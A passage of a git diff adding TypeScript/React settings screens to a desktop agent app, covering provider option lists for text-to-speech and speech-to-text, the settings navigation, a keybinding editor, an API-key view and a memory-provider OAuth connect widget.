+    const existing = Object.prototype.hasOwnProperty.call(cur, part) ? cur[part] : undefined
+
+    if (existing == null || typeof existing !== 'object') {
+      safeSet(cur, part, {})
+    }
+
+    cur = cur[part] as Record<string, unknown>
+  }
+
+  safeSet(cur, parts[parts.length - 1], value)
+
+  return clone
+}
+
+function personalityOptions(config: ClawCodexConfigRecord): string[] {
+  const custom = getNested(config, 'agent.personalities')
+
+  const customNames =
+    custom && typeof custom === 'object' && !Array.isArray(custom) ? Object.keys(custom as Record<string, unknown>) : []
+
+  return [...new Set(['', ...BUILTIN_PERSONALITIES, ...customNames])]
+}
+
+// Built-in provider names, mirroring `tts_tool.py:BUILTIN_TTS_PROVIDERS` and
+// `transcription_tools.py:BUILTIN_STT_PROVIDERS`. The runtime rejects a built-in
+// name as a command provider before any config lookup
+// (`_resolve_command_provider_config`: `key = provider.lower().strip()`, then
+// `if key in BUILTIN_*_PROVIDERS: return None`), so a ``providers.edge`` block
+// declaring ``type: command`` still dispatches to native Edge.
+//
+// These are deliberately NOT derived from `ENUM_OPTIONS`, which is a *display*
+// list and already drifts from the runtime sets: it omits `deepinfra` (TTS) and
+// `deepinfra`/`local_command` (STT). Filtering on the display list would offer
+// those names as command providers that the runtime would never honour.
+const BUILTIN_TTS_PROVIDERS = new Set([
+  'edge',
+  'elevenlabs',
+  'openai',
+  'minimax',
+  'xai',
+  'mistral',
+  'gemini',
+  'neutts',
+  'kittentts',
+  'piper',
+  'deepinfra'
+])
+
+const BUILTIN_STT_PROVIDERS = new Set([
+  'local',
+  'local_command',
+  'groq',
+  'openai',
+  'mistral',
+  'xai',
+  'elevenlabs',
+  'deepinfra'
+])
+
+// A user-declared command provider, mirroring the runtime discriminator
+// (`tts_tool.py:_is_command_provider_config` / `transcription_tools.py`): `type`
+// is OPTIONAL and case/space-insensitive (absent or normalizing to "command"),
+// and `command` MUST be a non-empty string. So a canonical block written as just
+// ``{ command: "curl …" }`` with no ``type:`` — a fully valid runtime provider
+// under ``providers.*`` — qualifies too, while built-in blocks (which carry
+// ``voice``/``model`` and no ``command``) and the ``providers`` container itself
+// (no ``command``) are skipped.
+function isCommandProvider(value: unknown): boolean {
+  if (value == null || typeof value !== 'object' || Array.isArray(value)) {
+    return false
+  }
+
+  const record = value as Record<string, unknown>
+  const type = normalize(record.type)
+
+  if (type !== '' && type !== 'command') {
+    return false
+  }
+
+  return typeof record.command === 'string' && record.command.trim() !== ''
+}
+
+// Names of user-defined command providers, so the settings dropdown can offer
+// them alongside the built-ins instead of only whichever one is currently active
+// (otherwise, once you switch away from a custom provider it drops off the list
+// and can only be reselected by hand-editing config.yaml).
+//
+// Mirrors the runtime's dual resolution (`tts_tool.py:_get_named_provider_config`,
+// `transcription_tools.py`): the CANONICAL location is nested —
+// ``tts.providers.<name>`` / ``stt.providers.<name>`` — with a back-compat
+// fallback to a top-level ``tts.<name>`` / ``stt.<name>`` block. We enumerate
+// both (deduped), keeping only sections that satisfy isCommandProvider and whose
+// name the runtime would actually resolve as a command provider — built-ins are
+// excluded case-insensitively, matching the runtime's `provider.lower().strip()`
+// guard, so a ``providers.EDGE`` command block is not offered.
+function commandProviderNames(config: ClawCodexConfigRecord, section: 'tts' | 'stt'): string[] {
+  const builtins = section === 'tts' ? BUILTIN_TTS_PROVIDERS : BUILTIN_STT_PROVIDERS
+  const names = new Set<string>()
+
+  for (const path of [`${section}.providers`, section]) {
+    const block = getNested(config, path)
+
+    if (!block || typeof block !== 'object' || Array.isArray(block)) {
+      continue
+    }
+
+    for (const [name, value] of Object.entries(block as Record<string, unknown>)) {
+      if (isCommandProvider(value) && !builtins.has(normalize(name))) {
+        names.add(name)
+      }
+    }
+  }
+
+  return [...names]
+}
+
+// Voice sets per OpenAI speech model, per the OpenAI TTS API docs: tts-1 and
+// tts-1-hd support 9 voices; gpt-4o-mini-tts supports those plus ballad,
+// verse, marin, and cedar (13 total). Unknown/future models get the full
+// union (the field is free-input anyway — this only narrows suggestions).
+const OPENAI_TTS1_VOICES = new Set(['alloy', 'ash', 'coral', 'echo', 'fable', 'nova', 'onyx', 'sage', 'shimmer'])
+
+export function enumOptionsFor(
+  key: string,
+  value: unknown,
+  config: ClawCodexConfigRecord,
+  dynamicOptions?: string[]
+): string[] | undefined {
+  let opts = dynamicOptions ?? (key === 'display.personality' ? personalityOptions(config) : ENUM_OPTIONS[key])
+
+  // Merge in user-defined command-type providers so custom local TTS/STT
+  // backends declared in config.yaml are selectable, not just the built-ins.
+  // The `includes` guard keeps the list duplicate-free should the display list
+  // ever carry a name we also enumerate.
+  if (!dynamicOptions && opts && (key === 'tts.provider' || key === 'stt.provider')) {
+    const section = key.slice(0, 3) as 'tts' | 'stt'
+    const custom = commandProviderNames(config, section).filter(name => !opts!.includes(name))
+
+    if (custom.length > 0) {
+      opts = [...opts, ...custom]
+    }
+  }
+
+  // Narrow OpenAI voice suggestions to what the selected model actually
+  // accepts — offering `marin` against tts-1 would 400 at the API.
+  if (!dynamicOptions && opts && key === 'tts.openai.voice') {
+    const model = asText(getNested(config, 'tts.openai.model'))
+
+    if (model === 'tts-1' || model === 'tts-1-hd') {
+      opts = opts.filter(voice => OPENAI_TTS1_VOICES.has(voice))
+    }
+  }
+
+  if (!opts) {
+    return undefined
+  }
+
+  const current = asText(value)
+
+  return current && !opts.includes(current) ? [...opts, current] : opts
+}
+
+// Built-in memory (MEMORY.md/USER.md) is controlled by memory_enabled, not
+// memory.provider — only a real external plugin name gets provider-shaped
+// affordances (config panel, OAuth connect). See #49513.
+export function isExternalMemoryProvider(value: unknown): value is string {
+  if (typeof value !== 'string') {
+    return false
+  }
+
+  const normalized = value.trim().toLowerCase()
+
+  return normalized !== '' && normalized !== 'builtin' && normalized !== 'built-in' && normalized !== 'none'
+}
diff --git a/ui-desktop/src/app/settings/index.tsx b/ui-desktop/src/app/settings/index.tsx
new file mode 100644
index 000000000..193b429b4
--- /dev/null
+++ b/ui-desktop/src/app/settings/index.tsx
@@ -0,0 +1,342 @@
+import { useCallback, useEffect, useMemo, useRef } from 'react'
+import { useLocation, useNavigate } from 'react-router'
+
+import { getClawCodexConfigDefaults, getClawCodexConfigRecord, saveClawCodexConfig } from '@/clawcodex'
+import { codiconIcon } from '@/components/ui/codicon'
+import { Tip } from '@/components/ui/tooltip'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import {
+  Archive,
+  BarChart3,
+  Bell,
+  Download,
+  Globe,
+  Info,
+  Keyboard,
+  KeyRound,
+  Package,
+  RefreshCw,
+  Settings2,
+  Upload,
+  Wrench,
+  Zap
+} from '@/lib/icons'
+import { notifyError } from '@/store/notifications'
+
+import { useRouteEnumParam } from '../hooks/use-route-enum-param'
+import { OverlayIconButton } from '../overlays/overlay-chrome'
+import { OverlayMain, OverlayNav, type OverlayNavGroup, OverlaySplitLayout } from '../overlays/overlay-split-layout'
+import { OverlayView } from '../overlays/overlay-view'
+import { SKILLS_ROUTE } from '../routes'
+
+import { AboutSettings } from './about-settings'
+import { AppearanceSettings } from './appearance-settings'
+import { BillingSettings } from './billing'
+import { ConfigSettings } from './config-settings'
+import { SECTIONS } from './constants'
+import { GatewaySettings } from './gateway-settings'
+import { KeybindSettings } from './keybind-settings'
+import { KEYS_VIEWS, KeysSettings, type KeysView } from './keys-settings'
+import { NotificationsSettings } from './notifications-settings'
+import { PluginsSettings } from './plugins-settings'
+import { PROVIDER_VIEWS, ProvidersSettings, type ProviderView } from './providers-settings'
+import { SessionsSettings } from './sessions-settings'
+import type { SettingsPageProps, SettingsView as SettingsViewId } from './types'
+
+const SETTINGS_VIEWS: readonly SettingsViewId[] = [
+  ...SECTIONS.map(s => `config:${s.id}` as SettingsViewId),
+  'providers',
+  'gateway',
+  'keybinds',
+  'keys',
+  'notifications',
+  'billing',
+  'plugins',
+  'sessions',
+  'about'
+]
+
+export function SettingsView({ onClose, onConfigSaved, onMainModelChanged }: SettingsPageProps) {
+  const { t } = useI18n()
+  const navigate = useNavigate()
+  const { hash, pathname, search } = useLocation()
+
+  // MCP moved out of Settings into Capabilities (/skills?tab=mcp). Keep old
+  // `/settings?tab=mcp` deep links working — `useRouteEnumParam` would silently
+  // coerce the unknown tab to the default view otherwise. Preserve `server=` so
+  // an old bookmark still lands on (and highlights) the selected server.
+  useEffect(() => {
+    const params = new URLSearchParams(search)
+
+    if (params.get('tab') === 'mcp') {
+      const server = params.get('server')
+      const suffix = server ? `&server=${encodeURIComponent(server)}` : ''
+      navigate(`${SKILLS_ROUTE}?tab=mcp${suffix}`, { replace: true })
+    }
+  }, [navigate, search])
+
+  const [activeView, setActiveView] = useRouteEnumParam('tab', SETTINGS_VIEWS, 'config:model' as SettingsViewId)
+  // Providers subnav (Accounts vs API keys) lives in its own param so each
+  // sub-view is deep-linkable and survives a refresh.
+  const [providerView, setProviderView] = useRouteEnumParam<ProviderView>('pview', PROVIDER_VIEWS, 'accounts')
+  const [keysView] = useRouteEnumParam<KeysView>('kview', KEYS_VIEWS, 'tools')
+
+  // Jump to a section + its sub-view in one navigate. Two sequential setters
+  // would each read the same stale `search` and the second would clobber the
+  // first's `tab` — so the sub-view never opened on narrow screens.
+  const openSubView = useCallback(
+    (tab: SettingsViewId, param: string, value: string, fallback: string) => {
+      const params = new URLSearchParams(search)
+      params.set('tab', tab)
+
+      if (value === fallback) {
+        params.delete(param)
+      } else {
+        params.set(param, value)
+      }
+
+      const qs = params.toString()
+      navigate({ hash, pathname, search: qs ? `?${qs}` : '' }, { replace: true })
+    },
+    [hash, navigate, pathname, search]
+  )
+
+  const openProviderView = useCallback(
+    (view: ProviderView) => openSubView('providers', 'pview', view, 'accounts'),
+    [openSubView]
+  )
+
+  const openKeysView = useCallback((view: KeysView) => openSubView('keys', 'kview', view, 'tools'), [openSubView])
+
+  const importInputRef = useRef<HTMLInputElement | null>(null)
+
+  const exportConfig = async () => {
+    try {
+      const cfg = await getClawCodexConfigRecord()
+      const blob = new Blob([JSON.stringify(cfg, null, 2)], { type: 'application/json' })
+      const url = URL.createObjectURL(blob)
+      const a = document.createElement('a')
+      a.href = url
+      a.download = 'clawcodex-config.json'
+      a.click()
+      URL.revokeObjectURL(url)
+      triggerHaptic('success')
+    } catch (err) {
+      notifyError(err, t.settings.exportFailed)
+    }
+  }
+
+  const resetConfig = async () => {
+    if (!window.confirm(t.settings.resetConfirm)) {
+      return
+    }
+
+    try {
+      await saveClawCodexConfig(await getClawCodexConfigDefaults())
+      triggerHaptic('success')
+      onConfigSaved?.()
+    } catch (err) {
+      notifyError(err, t.settings.resetFailed)
+    }
+  }
+
+  const navGroups: OverlayNavGroup[] = useMemo(
+    () => [
+      ...SECTIONS.map(s => {
+        const view = `config:${s.id}` as SettingsViewId
+
+        return {
+          active: activeView === view,
+          icon: s.icon,
+          id: view,
+          label: t.settings.sections[s.id] ?? s.label,
+          onSelect: () => setActiveView(view)
+        }
+      }),
+      {
+        active: activeView === 'notifications',
+        icon: Bell,
+        id: 'notifications',
+        label: t.settings.nav.notifications,
+        onSelect: () => setActiveView('notifications')
+      },
+      {
+        active: activeView === 'billing',
+        icon: BarChart3,
+        id: 'billing',
+        label: t.settings.nav.billing,
+        onSelect: () => setActiveView('billing')
+      },
+      {
+        active: activeView === 'providers',
+        children: [
+          {
+            active: activeView === 'providers' && providerView === 'accounts',
+            icon: codiconIcon('account'),
+            id: 'pview:accounts',
+            label: t.settings.nav.providerAccounts,
+            onSelect: () => openProviderView('accounts')
+          },
+          {
+            active: activeView === 'providers' && providerView === 'keys',
+            icon: KeyRound,
+            id: 'pview:keys',
+            label: t.settings.nav.providerApiKeys,
+            onSelect: () => openProviderView('keys')
+          },
+          {
+            active: activeView === 'providers' && providerView === 'custom-endpoints',
+            icon: Globe,
+            id: 'pview:custom-endpoints',
+            label: t.settings.nav.providerCustomEndpoints,
+            onSelect: () => openProviderView('custom-endpoints')
+          }
+        ],
+        gapBefore: true,
+        icon: Zap,
+        id: 'providers',
+        label: t.settings.nav.providers,
+        onSelect: () => setActiveView('providers')
+      },
+      {
+        active: activeView === 'gateway',
+        icon: Globe,
+        id: 'gateway',
+        label: t.settings.nav.gateway,
+        onSelect: () => setActiveView('gateway')
+      },
+      {
+        active: activeView === 'keybinds',
+        icon: Keyboard,
+        id: 'keybinds',
+        label: t.settings.nav.keybinds,
+        onSelect: () => setActiveView('keybinds')
+      },
+      {
+        active: activeView === 'keys',
+        children: [
+          {
+            active: activeView === 'keys' && keysView === 'tools',
+            icon: Wrench,
+            id: 'kview:tools',
+            label: t.settings.nav.keysTools,
+            onSelect: () => openKeysView('tools')
+          },
+          {
+            active: activeView === 'keys' && keysView === 'settings',
+            icon: Settings2,
+            id: 'kview:settings',
+            label: t.settings.nav.keysSettings,
+            onSelect: () => openKeysView('settings')
+          }
+        ],
+        icon: KeyRound,
+        id: 'keys',
+        label: t.settings.nav.apiKeys,
+        onSelect: () => setActiveView('keys')
+      },
+      {
+        active: activeView === 'plugins',
+        icon: Package,
+        id: 'plugins',
+        label: t.settings.nav.plugins,
+        onSelect: () => setActiveView('plugins')
+      },
+      {
+        active: activeView === 'sessions',
+        icon: Archive,
+        id: 'sessions',
+        label: t.settings.nav.archivedChats,
+        onSelect: () => setActiveView('sessions')
+      },
+      {
+        active: activeView === 'about',
+        gapBefore: true,
+        icon: Info,
+        id: 'about',
+        label: t.settings.nav.about,
+        onSelect: () => setActiveView('about')
+      }
+    ],
+    [activeView, keysView, providerView, t, setActiveView, openProviderView, openKeysView]
+  )
+
+  const navFooter = (
+    <>
+      <Tip label={t.settings.exportConfig}>
+        <OverlayIconButton onClick={() => void exportConfig()}>
+          <Download />
+        </OverlayIconButton>
+      </Tip>
+      <Tip label={t.settings.importConfig}>
+        <OverlayIconButton
+          onClick={() => {
+            triggerHaptic('open')
+            importInputRef.current?.click()
+          }}
+        >
+          <Upload />
+        </OverlayIconButton>
+      </Tip>
+      <Tip label={t.settings.resetToDefaults}>
+        <OverlayIconButton
+          className="hover:text-destructive"
+          onClick={() => {
+            triggerHaptic('warning')
+            void resetConfig()
+          }}
+        >
+          <RefreshCw />
+        </OverlayIconButton>
+      </Tip>
+    </>
+  )
+
+  return (
+    <OverlayView closeLabel={t.settings.closeSettings} onClose={onClose}>
+      <OverlaySplitLayout>
+        <OverlayNav footer={navFooter} groups={navGroups} />
+
+        <OverlayMain className="px-0 pb-0">
+          {activeView === 'config:appearance' ? (
+            <AppearanceSettings />
+          ) : activeView === 'about' ? (
+            <AboutSettings />
+          ) : activeView === 'gateway' ? (
+            <GatewaySettings />
+          ) : activeView === 'keybinds' ? (
+            <KeybindSettings />
+          ) : activeView.startsWith('config:') ? (
+            <ConfigSettings
+              activeSectionId={activeView.slice('config:'.length)}
+              importInputRef={importInputRef}
+              onConfigSaved={onConfigSaved}
+              onMainModelChanged={onMainModelChanged}
+            />
+          ) : activeView === 'providers' ? (
+            <ProvidersSettings
+              onClose={onClose}
+              onConfigSaved={onConfigSaved}
+              onMainModelChanged={onMainModelChanged}
+              onViewChange={setProviderView}
+              view={providerView}
+            />
+          ) : activeView === 'keys' ? (
+            <KeysSettings view={keysView} />
+          ) : activeView === 'notifications' ? (
+            <NotificationsSettings />
+          ) : activeView === 'billing' ? (
+            <BillingSettings />
+          ) : activeView === 'plugins' ? (
+            <PluginsSettings />
+          ) : (
+            <SessionsSettings />
+          )}
+        </OverlayMain>
+      </OverlaySplitLayout>
+    </OverlayView>
+  )
+}
+
+export { SettingsView as SettingsPage }
diff --git a/ui-desktop/src/app/settings/keybind-settings.tsx b/ui-desktop/src/app/settings/keybind-settings.tsx
new file mode 100644
index 000000000..a974de488
--- /dev/null
+++ b/ui-desktop/src/app/settings/keybind-settings.tsx
@@ -0,0 +1,276 @@
+import { useStore } from '@nanostores/react'
+import { useMemo, useState } from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { DisclosureCaret } from '@/components/ui/disclosure-caret'
+import { Kbd, KbdCombo } from '@/components/ui/kbd'
+import { SearchField } from '@/components/ui/search-field'
+import { Tip } from '@/components/ui/tooltip'
+import { useContributions } from '@/contrib/react/use-contributions'
+import { useI18n } from '@/i18n'
+import {
+  allKeybindActions,
+  KEYBIND_CATEGORIES,
+  KEYBIND_PANEL_ACTION,
+  KEYBIND_READONLY,
+  type KeybindActionMeta,
+  type KeybindReadonly,
+  KEYBINDS_AREA
+} from '@/lib/keybinds/actions'
+import { formatCombo } from '@/lib/keybinds/combo'
+import { arraysEqual } from '@/lib/storage'
+import {
+  $bindings,
+  $capture,
+  beginCapture,
+  bindingsFor,
+  conflictsFor,
+  endCapture,
+  resetAllBindings,
+  resetBinding
+} from '@/store/keybinds'
+
+import { SettingsContent } from './primitives'
+
+export function KeybindSettings() {
+  const { t } = useI18n()
+  const bindings = useStore($bindings)
+  const k = t.keybinds
+  const [collapsed, setCollapsed] = useState<ReadonlySet<string>>(new Set())
+  // Subscribe so contributed actions appear/disappear live in the map.
+  useContributions(KEYBINDS_AREA)
+  const actionList = allKeybindActions()
+  const [query, setQuery] = useState('')
+
+  const openCombo = bindings[KEYBIND_PANEL_ACTION]?.[0]
+
+  const toggleCategory = (category: string) =>
+    setCollapsed(prev => {
+      const next = new Set(prev)
+
+      if (next.has(category)) {
+        next.delete(category)
+      } else {
+        next.add(category)
+      }
+
+      return next
+    })
+
+  // Filter actions and readonly shortcuts by label match against the query.
+  // When searching, categories auto-expand (collapsed state is ignored).
+  const isSearching = query.trim().length > 0
+
+  const filteredActions = useMemo(() => {
+    if (!isSearching) {
+      return null
+    }
+
+    const lower = query.toLowerCase()
+
+    return actionList.filter(action => {
+      if (action.id === KEYBIND_PANEL_ACTION) {
+        return false
+      }
+
+      const label = k.actions[action.id] ?? action.id
+
+      return label.toLowerCase().includes(lower) || action.id.includes(lower)
+    })
+  }, [actionList, isSearching, query, k.actions])
+
+  const filteredReadonly = useMemo(() => {
+    if (!isSearching) {
+      return null
+    }
+
+    const lower = query.toLowerCase()
+
+    return KEYBIND_READONLY.filter(shortcut => {
+      const label = k.actions[shortcut.id] ?? shortcut.id
+
+      return label.toLowerCase().includes(lower) || shortcut.id.includes(lower)
+    })
+  }, [isSearching, query, k.actions])
+
+  return (
+    <SettingsContent>
+      <div className="flex items-center justify-between gap-3 pb-3">
+        <div className="min-w-0">
+          <h2 className="text-sm font-semibold text-foreground">{k.title}</h2>
+          <p className="mt-0.5 text-[0.72rem] text-muted-foreground">
+            {k.subtitle(openCombo ? formatCombo(openCombo) : '')}
+          </p>
+        </div>
+        <button
+          className="flex shrink-0 items-center gap-1 rounded-md text-[0.72rem] text-muted-foreground hover:text-foreground"
+          onClick={resetAllBindings}
+          type="button"
+        >
+          <Codicon name="discard" size="0.8125rem" />
+          {k.resetAll}
+        </button>
+      </div>
+
+      <div className="pb-3">
+        <SearchField
+          aria-label={k.search}
+          containerClassName="w-full"
+          onChange={setQuery}
+          placeholder={k.search}
+          value={query}
+        />
+      </div>
+
+      {isSearching ? (
+        <div className="px-2 py-1.5">
+          {filteredActions?.length === 0 && filteredReadonly?.length === 0 ? (
+            <p className="px-2.5 py-4 text-center text-[0.82rem] text-muted-foreground">—</p>
+          ) : (
+            <>
+              {filteredActions?.map(action => (
+                <KeybindRow action={action} key={action.id} />
+              ))}
+              {filteredReadonly?.map(shortcut => (
+                <ReadonlyRow key={shortcut.id} shortcut={shortcut} />
+              ))}
+            </>
+          )}
+        </div>
+      ) : (
+        <div className="px-2 py-1.5">
+          {KEYBIND_CATEGORIES.map(category => {
+            const actions = actionList.filter(
+              action => action.category === category && action.id !== KEYBIND_PANEL_ACTION
+            )
+
+            const readonly = KEYBIND_READONLY.filter(shortcut => shortcut.category === category)
+
+            if (actions.length === 0 && readonly.length === 0) {
+              return null
+            }
+
+            const sectionOpen = !collapsed.has(category)
+
+            return (
+              <section key={category}>
+                <CategoryHeader
+                  label={k.categories[category] ?? category}
+                  onToggle={() => toggleCategory(category)}
+                  open={sectionOpen}
+                />
+                {sectionOpen && actions.map(action => <KeybindRow action={action} key={action.id} />)}
+                {sectionOpen && readonly.map(shortcut => <ReadonlyRow key={shortcut.id} shortcut={shortcut} />)}
+              </section>
+            )
+          })}
+        </div>
+      )}
+    </SettingsContent>
+  )
+}
+
+function CategoryHeader({ label, onToggle, open }: { label: string; onToggle: () => void; open: boolean }) {
+  return (
+    <button
+      className="group/kbd-cat flex w-fit min-w-0 items-center gap-1 px-2.5 pb-1 pt-3 text-left leading-none"
+      onClick={onToggle}
+      type="button"
+    >
+      <span className="min-w-0 truncate text-[0.64rem] font-semibold uppercase tracking-[0.12em] text-muted-foreground/70">
+        {label}
+      </span>
+      <DisclosureCaret
+        className="text-(--ui-text-tertiary) opacity-0 transition group-hover/kbd-cat:opacity-100"
+        open={open}
+        size="0.6875rem"
+      />
+    </button>
+  )
+}
+
+function KeybindRow({ action }: { action: KeybindActionMeta }) {
+  const { t } = useI18n()
+  const k = t.keybinds
+  const bindings = useStore($bindings)
+  const capture = useStore($capture)
+
+  // bindingsFor resolves stored overrides for late-registered (contributed)
+  // actions too — $bindings only carries built-ins, so a raw lookup would show
+  // the default instead of the user's rebinding for a plugin/contrib action.
+  const combos = bindingsFor(action.id, bindings)
+  const capturing = capture === action.id
+  const label = k.actions[action.id] ?? action.label ?? action.id
+  const isDefault = arraysEqual(combos, [...action.defaults])
+
+  const conflict = combos
+    .flatMap(combo => conflictsFor(action.id, combo).map(other => k.actions[other] ?? other))
+    .find(Boolean)
+
+  return (
+    <div className="group flex items-center gap-2.5 rounded-lg px-2.5 py-1 transition-colors hover:bg-(--chrome-action-hover)">
+      <span className="min-w-0 flex-1 truncate text-[0.82rem] text-foreground/90">{label}</span>
+
+      {conflict && (
+        <span className="flex size-4 items-center justify-center text-amber-500/90" title={k.conflictWith(conflict)}>
+          <Codicon name="warning" size="0.8125rem" />
+        </span>
+      )}
+
+      {/* Click the caps to rebind — the on-screen editor does the same thing. */}
+      <Tip label={k.rebind}>
+        <button
+          aria-label={k.rebind}
+          className="flex shrink-0 items-center gap-1 rounded-lg outline-none"
+          onClick={() => (capturing ? endCapture() : beginCapture(action.id))}
+          type="button"
+        >
+          {capturing ? (
+            <Kbd variant="capturing">{k.pressKey}</Kbd>
+          ) : combos.length > 0 ? (
+            combos.map(combo => <KbdCombo combo={combo} key={combo} />)
+          ) : (
+            <Kbd variant="ghost">{k.set}</Kbd>
+          )}
+        </button>
+      </Tip>
+
+      {/* Reset only shows once a binding diverges from its default; the spacer
+          holds the column otherwise so rows stay aligned. */}
+      {isDefault ? (
+        <span aria-hidden className="size-6 shrink-0" />
+      ) : (
+        <Tip label={k.reset}>
+          <button
+            aria-label={k.reset}
+            className="grid size-6 shrink-0 place-items-center rounded-md text-muted-foreground/70 opacity-0 transition-all hover:bg-(--ui-control-active-background) hover:text-foreground group-hover:opacity-100"
+            onClick={() => resetBinding(action.id)}
+            type="button"
+          >
+            <Codicon name="discard" size="0.8125rem" />
+          </button>
+        </Tip>
+      )}
+    </div>
+  )
+}
+
+// Fixed shortcut: same layout as KeybindRow but the caps aren't interactive and
+// the trailing reset slot stays empty (spacer keeps the columns aligned).
+function ReadonlyRow({ shortcut }: { shortcut: KeybindReadonly }) {
+  const { t } = useI18n()
+  const k = t.keybinds
+  const label = k.actions[shortcut.id] ?? shortcut.id
+
+  return (
+    <div className="flex items-center gap-2.5 rounded-lg px-2.5 py-1">
+      <span className="min-w-0 flex-1 truncate text-[0.82rem] text-foreground/75">{label}</span>
+      <div className="flex shrink-0 items-center gap-1">
+        {shortcut.keys.map(key => (
+          <KbdCombo combo={key} key={key} />
+        ))}
+      </div>
+      <span aria-hidden className="size-6 shrink-0" />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/keys-settings.tsx b/ui-desktop/src/app/settings/keys-settings.tsx
new file mode 100644
index 000000000..1a419b000
--- /dev/null
+++ b/ui-desktop/src/app/settings/keys-settings.tsx
@@ -0,0 +1,108 @@
+import { useEffect, useMemo, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import type { EnvVarInfo } from '@/types/clawcodex'
+
+import { CredentialKeyCard, credentialPlaceholder, credentialRowLabel } from './credential-key-ui'
+import { useEnvCredentials } from './env-credentials'
+import { asText } from './helpers'
+import { SettingsContent, SettingsSkeleton } from './primitives'
+import { useDeepLinkHighlight } from './use-deep-link-highlight'
+
+// Sub-views surfaced as sidebar subnav under Tools & Keys (see settings/index.tsx).
+export const KEYS_VIEWS = ['tools', 'settings'] as const
+
+export type KeysView = (typeof KEYS_VIEWS)[number]
+
+// Providers live on their own page; messaging-platform credentials live on the
+// dedicated Messaging page (and are hidden here via `channel_managed`). This
+// view covers tool API keys plus server/setting env vars (API server, webhook,
+// gateway), which fold into the Settings subnav.
+
+// Backend categories that surface under each subnav. Platform credentials use the
+// `messaging` category but are flagged ``channel_managed`` and configured on
+// the Messaging page; only gateway-wide ``messaging`` rows (e.g. GATEWAY_PROXY)
+// appear here alongside ``setting``.
+const VIEW_CATEGORIES: Record<KeysView, readonly string[]> = {
+  settings: ['setting', 'messaging'],
+  tools: ['tool']
+}
+
+export function KeysSettings({ view }: KeysSettingsProps) {
+  const { t } = useI18n()
+  const { rowProps, vars } = useEnvCredentials()
+  const [openKey, setOpenKey] = useState<null | string>(null)
+
+  useEffect(() => {
+    setOpenKey(null)
+  }, [view])
+
+  // Deep link from Capabilities env-var rows (?tab=keys&key=<ENV_KEY>): scroll
+  // the credential card into view, flash it, and expand it. Same mechanism the
+  // command palette uses for config fields / archived sessions.
+  useDeepLinkHighlight({
+    elementId: key => `credential-key-${key}`,
+    onResolve: key => setOpenKey(key),
+    param: 'key',
+    ready: key => Boolean(vars && key in vars)
+  })
+
+  const groups = useMemo(() => {
+    if (!vars) {
+      return []
+    }
+
+    return KEYS_VIEWS.flatMap(v => {
+      const cats = VIEW_CATEGORIES[v]
+
+      const entries = Object.entries(vars)
+        .filter(([, info]) => !info.channel_managed && cats.includes(asText(info.category)))
+        .sort(([a], [b]) => a.localeCompare(b))
+
+      return entries.length === 0 ? [] : [{ category: v, entries }]
+    })
+  }, [vars])
+
+  if (!vars) {
+    return <SettingsSkeleton sections={[{ rows: 5 }]} />
+  }
+
+  const visible = groups.filter(g => g.category === view)
+
+  return (
+    <SettingsContent>
+      {visible.map(group => (
+        <div className="grid gap-2" key={group.category}>
+          {group.entries.map(([key, info]: [string, EnvVarInfo]) => {
+            const label = credentialRowLabel(key, info)
+
+            return (
+              <div className="scroll-mt-6 rounded-[6px]" id={`credential-key-${key}`} key={key}>
+                <CredentialKeyCard
+                  expanded={openKey === key}
+                  info={info}
+                  label={label}
+                  onExpand={() => setOpenKey(key)}
+                  onToggle={() => setOpenKey(prev => (prev === key ? null : key))}
+                  placeholder={credentialPlaceholder(key, info, label)}
+                  rowProps={rowProps}
+                  varKey={key}
+                />
+              </div>
+            )
+          })}
+        </div>
+      ))}
+
+      {visible.length === 0 && (
+        <div className="rounded-lg border border-dashed border-(--ui-stroke-tertiary) px-4 py-8 text-center text-[length:var(--conversation-caption-font-size)] text-muted-foreground">
+          {t.settings.keys.empty}
+        </div>
+      )}
+    </SettingsContent>
+  )
+}
+
+interface KeysSettingsProps {
+  view: KeysView
+}
diff --git a/ui-desktop/src/app/settings/memory/connect.tsx b/ui-desktop/src/app/settings/memory/connect.tsx
new file mode 100644
index 000000000..4de3d39a3
--- /dev/null
+++ b/ui-desktop/src/app/settings/memory/connect.tsx
@@ -0,0 +1,162 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { getMemoryProviderOAuthStatus, startMemoryProviderOAuth } from '@/clawcodex'
+import { Button } from '@/components/ui/button'
+import { Check, ExternalLink, Loader2 } from '@/lib/icons'
+import { notifyError } from '@/store/notifications'
+import type { MemoryProviderOAuthStatus } from '@/types/clawcodex'
+
+const POLL_MS = 1500
+const POLL_TIMEOUT_MS = 120_000
+
+// Small connect affordance rendered under the provider dropdown. Capability is
+// backend-driven: the status route 404s for providers without an oauth_flow
+// module, so non-OAuth providers render nothing.
+export function MemoryConnect({ provider }: { provider: string }) {
+  const [capable, setCapable] = useState<'no' | 'unknown' | 'yes'>('unknown')
+  const [connected, setConnected] = useState(false)
+  const [auth, setAuth] = useState<MemoryProviderOAuthStatus['auth']>(null)
+  const [phase, setPhase] = useState<'error' | 'idle' | 'pending'>('idle')
+  const [detail, setDetail] = useState('')
+  const timer = useRef<ReturnType<typeof setInterval> | null>(null)
+  const deadline = useRef(0)
+
+  const stop = useCallback(() => {
+    if (timer.current !== null) {
+      clearInterval(timer.current)
+      timer.current = null
+    }
+  }, [])
+
+  useEffect(() => {
+    let active = true
+    setCapable('unknown')
+    getMemoryProviderOAuthStatus(provider)
+      .then(s => {
+        if (!active) {
+          return
+        }
+
+        setCapable('yes')
+        setConnected(s.connected)
+        setAuth(s.auth)
+      })
+      .catch(() => {
+        if (active) {
+          setCapable('no')
+        }
+      })
+
+    return () => {
+      active = false
+      stop()
+    }
+  }, [provider, stop])
+
+  // An error message isn't sticky — it clears back to the steady state
+  // (Connect link, plus the connected badge if a credential is stored).
+  useEffect(() => {
+    if (phase !== 'error') {
+      return
+    }
+
+    const t = setTimeout(() => {
+      setPhase('idle')
+      setDetail('')
+    }, 6000)
+
+    return () => clearTimeout(t)
+  }, [phase])
+
+  const connect = useCallback(async () => {
+    setPhase('pending')
+
+    try {
+      await startMemoryProviderOAuth(provider)
+    } catch (err) {
+      setPhase('error')
+      setDetail('Could not start the connection.')
+      notifyError(err, 'Failed to start connection')
+
+      return
+    }
+
+    deadline.current = Date.now() + POLL_TIMEOUT_MS
+    stop()
+    timer.current = setInterval(() => {
+      void (async () => {
+        try {
+          const next = await getMemoryProviderOAuthStatus(provider)
